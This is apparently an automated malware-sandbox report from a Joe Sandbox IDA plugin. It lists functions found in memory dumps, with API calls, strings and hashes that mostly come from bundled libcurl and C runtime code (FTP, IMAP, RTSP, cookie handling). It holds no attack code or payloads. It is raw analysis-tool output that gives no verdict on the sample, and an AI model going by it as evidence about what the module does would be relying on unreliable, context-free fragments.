_free.LIBCMT ref: 6B935D90
_free.LIBCMT ref: 6B935DA2
_free.LIBCMT ref: 6B935DB4
_free.LIBCMT ref: 6B935DC6
_free.LIBCMT ref: 6B935DD8
_free.LIBCMT ref: 6B935DEA
_free.LIBCMT ref: 6B935DFC
_free.LIBCMT ref: 6B935E0E
_free.LIBCMT ref: 6B935E20
_free.LIBCMT ref: 6B935E32
_free.LIBCMT ref: 6B935E44

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 66a612039dbb34e06c3ac64e850d15d0d62f13e8b46396455eaae6526b2a2276
Instruction ID: fe844fdea9839ba9a4a9586ff23f7bfccb9eab0b957ca36abde289fa89082d6f
Opcode Fuzzy Hash: 66a612039dbb34e06c3ac64e850d15d0d62f13e8b46396455eaae6526b2a2276
Instruction Fuzzy Hash: F6215E32D48214EBCA14DE78F0D6D1F73EDBB1A31C360081AF1A9C7550CB38F88086A4

Function 6B8F1A60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 304COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8F1B58
___from_strstr_to_strchr.LIBCMT ref: 6B8F1B81
___from_strstr_to_strchr.LIBCMT ref: 6B8F1B95
___from_strstr_to_strchr.LIBCMT ref: 6B8F1C9F
___from_strstr_to_strchr.LIBCMT ref: 6B8F1D50

Strings

sub, xrefs: 6B8F1D09
onetree, xrefs: 6B8F1CD6
LDAP, xrefs: 6B8F1A99
base, xrefs: 6B8F1CF1
subtree, xrefs: 6B8F1D24
one, xrefs: 6B8F1CBD

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: LDAP$base$one$onetree$sub$subtree
API String ID: 601868998-884163498
Opcode ID: 5cc479e1f309c52ce2f079040b88e96ef7027e0cba527fcbe4c9ff8c72793cf0
Instruction ID: dda7382407e2d7185f7b7eeafd95fca6e893d626fc41d8badbcf8d9403e7e137
Opcode Fuzzy Hash: 5cc479e1f309c52ce2f079040b88e96ef7027e0cba527fcbe4c9ff8c72793cf0
Instruction Fuzzy Hash: 2BA1F9B5D00225AFEF01AF78DC41BAA7BB8EF06789F1004A5E914E7252E739D911C7A1

Function 6B90ACC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,?,00000002,6B90AEAE), ref: 6B90ACCE
GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 6B90ACE8
_strpbrk.LIBCMT ref: 6B90ACFC

Strings

kernel32, xrefs: 6B90ACC7
AddDllDirectory, xrefs: 6B90AD30
LoadLibraryExA, xrefs: 6B90ACE2

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: AddressHandleModuleProc_strpbrk
String ID: AddDllDirectory$LoadLibraryExA$kernel32
API String ID: 1657965159-3327535076
Opcode ID: e326ced33f09920138e912be764a09264a0783ed1b1256719346df1a4c8c0ac8
Instruction ID: d4ab1896d75f916ed7d2e94ae1f495ce004b9c33f55209c7fa1b99d629898fa7
Opcode Fuzzy Hash: e326ced33f09920138e912be764a09264a0783ed1b1256719346df1a4c8c0ac8
Instruction Fuzzy Hash: 03411D35708301ABEF105E789C457A9B76DDF47216F1081FEEC49D7201EE76C50546A0

Function 6B935193 Relevance: 18.1, APIs: 12, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6B9351CC

Part of subcall function 6B92F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0), ref: 6B92F800
Part of subcall function 6B92F7EA: GetLastError.KERNEL32(6B9538A0,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0,6B9538A0), ref: 6B92F812

Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935D6C
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935D7E
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935D90
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935DA2
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935DB4
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935DC6
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935DD8
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935DEA
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935DFC
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935E0E
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935E20
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935E32
Part of subcall function 6B935D4F: _free.LIBCMT ref: 6B935E44

_free.LIBCMT ref: 6B9351EE
_free.LIBCMT ref: 6B935203
_free.LIBCMT ref: 6B93520E
_free.LIBCMT ref: 6B935230
_free.LIBCMT ref: 6B935243
_free.LIBCMT ref: 6B935251
_free.LIBCMT ref: 6B93525C
_free.LIBCMT ref: 6B935294
_free.LIBCMT ref: 6B93529B
_free.LIBCMT ref: 6B9352B8
_free.LIBCMT ref: 6B9352D0

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 97b3ee0179c277598029a80490da34b7d1e891520507ab327ae5041052e49f57
Instruction ID: 1f5a9a4aa6890e2650b3f63fd2995391c1b72aac72577e297096abfcc0a82966
Opcode Fuzzy Hash: 97b3ee0179c277598029a80490da34b7d1e891520507ab327ae5041052e49f57
Instruction Fuzzy Hash: FE315E31E143119FFB219A79E885B5A73EDFF14318F10449AE569D7164DF78E940CB20

Function 6B92D7CA Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 6B92D46B: CreateFileW.KERNEL32(00000000,00000000,?,6B92D873,?,?,00000000,?,6B92D873,00000000,0000000C), ref: 6B92D488

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6B92D8DE
__dosmaperr.LIBCMT ref: 6B92D8E5
GetFileType.KERNEL32(00000000), ref: 6B92D8F1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6B92D8FB
__dosmaperr.LIBCMT ref: 6B92D904
CloseHandle.KERNEL32(00000000), ref: 6B92D924
CloseHandle.KERNEL32(?), ref: 6B92DA71
GetLastError.KERNEL32 ref: 6B92DAA3
__dosmaperr.LIBCMT ref: 6B92DAAA

Strings

H, xrefs: 6B92DA2F

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: acb4c4ef0b22552c8bd1a25cac0f84b8bbdbf9b939da1117353422959b22b235
Instruction ID: 64078dfe601e2ffd79c8f784ea4ab44064e7bd9ed16eeb7ebfc0d31009eddaa2
Opcode Fuzzy Hash: acb4c4ef0b22552c8bd1a25cac0f84b8bbdbf9b939da1117353422959b22b235
Instruction Fuzzy Hash: ABA12232E681549FCF199F78C852BAE3BB4AF0B328F14019DE811AB395C739D816CB51

Function 6B8DDBC0 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 186COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000018,%04d%02d%02d %02d:%02d:%02d GMT,?,?,?,?,?,?), ref: 6B8DDC9D
curl_msnprintf.LIBCURL(?,00000080,Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT,?,?,?,?,?,?), ref: 6B8DDD74

Part of subcall function 6B9006B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
Part of subcall function 6B9006B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

Strings

%04d%02d%02d %02d:%02d:%02d GMT, xrefs: 6B8DDC95
%04d%02d%02d%02d%02d%02d, xrefs: 6B8DDC58
Given file does not exist, xrefs: 6B8DDC0D
unsupported MDTM reply format, xrefs: 6B8DDBFA
Skipping time comparison, xrefs: 6B8DDE44
The requested document is not new enough, xrefs: 6B8DDDF0
Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 6B8DDD69
The requested document is not old enough, xrefs: 6B8DDE3D

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_msnprintf$curl_mvsnprintf
String ID: %04d%02d%02d %02d:%02d:%02d GMT$%04d%02d%02d%02d%02d%02d$Given file does not exist$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT$Skipping time comparison$The requested document is not new enough$The requested document is not old enough$unsupported MDTM reply format
API String ID: 405648482-226030088
Opcode ID: b67529524d931037d1ed1d1bfa3dc473165b4f2777e9aab35466e8112b5def07
Instruction ID: b0fb8c968099cde47b1a3e92bddddcd1e84ec246b9f1b4c50aa5333dbcfc8a72
Opcode Fuzzy Hash: b67529524d931037d1ed1d1bfa3dc473165b4f2777e9aab35466e8112b5def07
Instruction Fuzzy Hash: C861A176940718ABDF20CA74CC81FDAB7B9AF55304F0048DAE95DE7201EB39AA44CF61

Function 6B8FD9D0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 144COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FDA0F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FDA4D
curl_msnprintf.LIBCURL(6B8E1696,00000009,%2I64d:%02I64d:%02I64d,6B8E1696,?,00000000,?,?,6B8E1696,?,6B8E1696,0000003C,00000000,00000000,?,00000E10), ref: 6B8FDAA5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FDABD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FDAF2
curl_msnprintf.LIBCURL(6B8E1696,00000009,%3I64dd %02I64dh,00000000,6B8E1696,00000000,?,?,6B8E1696,00000E10,00000000,00000000,?,00015180,00000000,?), ref: 6B8FDB07
curl_msnprintf.LIBCURL(6B8E1696,00000009,%7I64dd,00000000,?,?,6B8E1696,00015180,00000000,?,6B8E1696,00000E10,00000000,?,6B8E1696,?), ref: 6B8FDB22

Strings

%2I64d:%02I64d:%02I64d, xrefs: 6B8FDA9B
%3I64dd %02I64dh, xrefs: 6B8FDAFD
%7I64dd, xrefs: 6B8FDB18

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$curl_msnprintf
String ID: %2I64d:%02I64d:%02I64d$%3I64dd %02I64dh$%7I64dd
API String ID: 2752550610-564197712
Opcode ID: 0de82e7e7c3722a30bbf37d4b43ed963a05112e361f7b5b5f757d19201d054a8
Instruction ID: 179454ddccb9cf6a1e263ab63e206e8ac4a1cae12f101591db9fed5aa2c86974
Opcode Fuzzy Hash: 0de82e7e7c3722a30bbf37d4b43ed963a05112e361f7b5b5f757d19201d054a8
Instruction Fuzzy Hash: 8F414473B802187AEB204D7C8C51FAEBBADDBD4694F050575FE08EB290E675DD1283A0

Function 6B92F3F7 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6B92F40D

Part of subcall function 6B92F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0), ref: 6B92F800
Part of subcall function 6B92F7EA: GetLastError.KERNEL32(6B9538A0,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0,6B9538A0), ref: 6B92F812

_free.LIBCMT ref: 6B92F419
_free.LIBCMT ref: 6B92F424
_free.LIBCMT ref: 6B92F42F
_free.LIBCMT ref: 6B92F43A
_free.LIBCMT ref: 6B92F445
_free.LIBCMT ref: 6B92F450
_free.LIBCMT ref: 6B92F45B
_free.LIBCMT ref: 6B92F466
_free.LIBCMT ref: 6B92F474

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6ba362d1c33963b78e6bcd553cb6be4a024a08be46f43a326bfe328e5bad686c
Instruction ID: 405518c592e1f54a98479a333393addb2f34109678ebe8e2c0f244f1582b36a2
Opcode Fuzzy Hash: 6ba362d1c33963b78e6bcd553cb6be4a024a08be46f43a326bfe328e5bad686c
Instruction Fuzzy Hash: 7821A47AD10108AFDB41DFB4D8A1EDE7BB9FF18248F0081A6F5159B125EB35EA45CB80

Function 6B8F00B0 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 264COMMON

Download Yara Rule

Strings

SELECT %s, xrefs: 6B8F022F
Mime-Version, xrefs: 6B8F02C9
Cannot SELECT without a mailbox., xrefs: 6B8F01F2
Cannot APPEND without a mailbox., xrefs: 6B8F026C
Mime-Version: 1.0, xrefs: 6B8F02E1
Cannot APPEND with unknown input file size, xrefs: 6B8F0354
APPEND %s (\Seen) {%I64d}, xrefs: 6B8F0395

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: APPEND %s (\Seen) {%I64d}$Cannot APPEND with unknown input file size$Cannot APPEND without a mailbox.$Cannot SELECT without a mailbox.$Mime-Version$Mime-Version: 1.0$SELECT %s
API String ID: 0-2877092315
Opcode ID: 2637eb328f9a31fe0cd347dad4c9f563f9ff31facdd2029010169c1240b057fd
Instruction ID: c6a9611d5cd58cc3a6c9bec2c76ec9816e569d3968fe5f9af1a40337bdfc2cca
Opcode Fuzzy Hash: 2637eb328f9a31fe0cd347dad4c9f563f9ff31facdd2029010169c1240b057fd
Instruction Fuzzy Hash: A091E475E043149FEB118F64DC4179677ACAF013AAF0449B9EC089B241E73DA896CBF1

Function 6B8FFD60 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 162COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(CSeq:,6B8EC3E5,00000005,?,?,?,?,?,6B8EC3E5), ref: 6B8FFD7E
curl_strnequal.LIBCURL(Session:,6B8EC3E5,00000008,6B8EC3E5), ref: 6B8FFDE8

Strings

: %ld, xrefs: 6B8FFD91
Got a blank Session ID, xrefs: 6B8FFE18
Unable to read the CSeq header: [%s], xrefs: 6B8FFDC6
Got RTSP Session ID Line [%s], but wanted ID [%s], xrefs: 6B8FFE63
CSeq:, xrefs: 6B8FFD72
Session:, xrefs: 6B8FFDE3

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_strnequal
String ID: : %ld$CSeq:$Got RTSP Session ID Line [%s], but wanted ID [%s]$Got a blank Session ID$Session:$Unable to read the CSeq header: [%s]
API String ID: 482932555-1168109407
Opcode ID: 594da866a162260a1662e35a2f0509457b9f4d065b5d6777da247f559d950d9e
Instruction ID: 5c5f09f6d0ed8b6947d1a6d57e7a9a35574bbd8ac72b6f98934fea844314605e
Opcode Fuzzy Hash: 594da866a162260a1662e35a2f0509457b9f4d065b5d6777da247f559d950d9e
Instruction Fuzzy Hash: AF412976A0510426DB108E7DBC41BE73B9DDF962A9F0444B6EC4CCF203EA2AD516C6F1

Function 6B90A0E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000100), ref: 6B90A0E7
_strncpy.LIBCMT ref: 6B90A12D
_strrchr.LIBCMT ref: 6B90A16D
_strrchr.LIBCMT ref: 6B90A188
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 6B90A1B3
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 6B90A1C1

Strings

Unknown error %d (%#x), xrefs: 6B90A157

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast$_strrchr$_strncpy
String ID: Unknown error %d (%#x)
API String ID: 1320708361-2414550090
Opcode ID: 502d45afbf67a73fbfaa0632ff6bbcf3f186894b81836e6e4dbd3c274c368940
Instruction ID: 67138b6325244a38c983fb58171b43ff430df59fce84d0afd51eb0aa8d926853
Opcode Fuzzy Hash: 502d45afbf67a73fbfaa0632ff6bbcf3f186894b81836e6e4dbd3c274c368940
Instruction Fuzzy Hash: C421D175E042186BDB116E75AC81B6F7BADEFA625DF1080ADEC0497241EF39D90182F2

Function 6B8DD3D0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 250COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8DD48A
_strncpy.LIBCMT ref: 6B8DD4D6
___from_strstr_to_strchr.LIBCMT ref: 6B8DD4FF
_strrchr.LIBCMT ref: 6B8DD518
_strncpy.LIBCMT ref: 6B8DD58A

Strings

Uploading to a URL without a file name!, xrefs: 6B8DD5EB
Request has same path as previous transfer, xrefs: 6B8DD68E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr_strncpy$_strrchr
String ID: Request has same path as previous transfer$Uploading to a URL without a file name!
API String ID: 2378022753-131330169
Opcode ID: 76aefeeac5f20647ff5e6d0697878f0b1dfcdd474aed08b14d6330c4919ad9b1
Instruction ID: d07ab59b8ead30b5f64f17a0d188dd8ee90065a223fbd86b1a8ac58dce77f40d
Opcode Fuzzy Hash: 76aefeeac5f20647ff5e6d0697878f0b1dfcdd474aed08b14d6330c4919ad9b1
Instruction Fuzzy Hash: 8791F971A88216ABDB148F34D845B9A7BB5EF0234CF0045BAEC0D9B241EB3AE555CFD0

Function 6B8D6600 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 223COMMON

Download Yara Rule

APIs

curl_mfprintf.LIBCURL(?,%s,00000000), ref: 6B8D679A

Strings

%s.%s.tmp, xrefs: 6B8D66C1
# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 6B8D6707
## Fatal libcurl error, xrefs: 6B8D67F5
%s, xrefs: 6B8D6792

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_mfprintf
String ID: ## Fatal libcurl error$# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$%s$%s.%s.tmp
API String ID: 8901498-4087121635
Opcode ID: 48d88b35c28a51f3a46adcef805b1ac5eeea91dabca669a6d1f7ee4a6811baf7
Instruction ID: 2ce6d452fa3a9b8fbb1daae634591d0d129f53add980bee1443a2b5c1c3e457c
Opcode Fuzzy Hash: 48d88b35c28a51f3a46adcef805b1ac5eeea91dabca669a6d1f7ee4a6811baf7
Instruction Fuzzy Hash: 4461C6B5E4425D9BDF008FB89C927BF7BB49F46218F0408BADD05A7202DB3DD91587A1

Function 6B8DD8E0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 180COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 6B8DD99A

Strings

bytes, xrefs: 6B8DD991
, xrefs: 6B8DD93B
Data conn was not available immediately, xrefs: 6B8DDABC
Maxdownload = %I64d, xrefs: 6B8DDA5B
RETR response: %03d, xrefs: 6B8DD92D
Getting file with size: %I64d, xrefs: 6B8DDA77

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _strstr
String ID: $ bytes$Data conn was not available immediately$Getting file with size: %I64d$Maxdownload = %I64d$RETR response: %03d
API String ID: 2882301372-2096918210
Opcode ID: 645043b5d9296f51a4ee9539608bb8f95cfd443e4ff50b6db515e8fab0ec83ce
Instruction ID: b7a4a30d037e951a5a26b7aca2c6d73ff612e7e4a05b8778671d001465196a5a
Opcode Fuzzy Hash: 645043b5d9296f51a4ee9539608bb8f95cfd443e4ff50b6db515e8fab0ec83ce
Instruction Fuzzy Hash: 6351F476D48244ABDB10CF68D840B9E77B5AB44324F008AEBEC2C9B291D7399544CF91

Function 6B8E7930 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8E7987
inet_pton.WS2_32(00000002,00000000,?), ref: 6B8E79C4
inet_pton.WS2_32(00000017,00000000,?), ref: 6B8E79D5
___from_strstr_to_strchr.LIBCMT ref: 6B8E79E2
___from_strstr_to_strchr.LIBCMT ref: 6B8E79FA
___from_strstr_to_strchr.LIBCMT ref: 6B8E7A2A

Strings

xn--, xrefs: 6B8E7A15

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
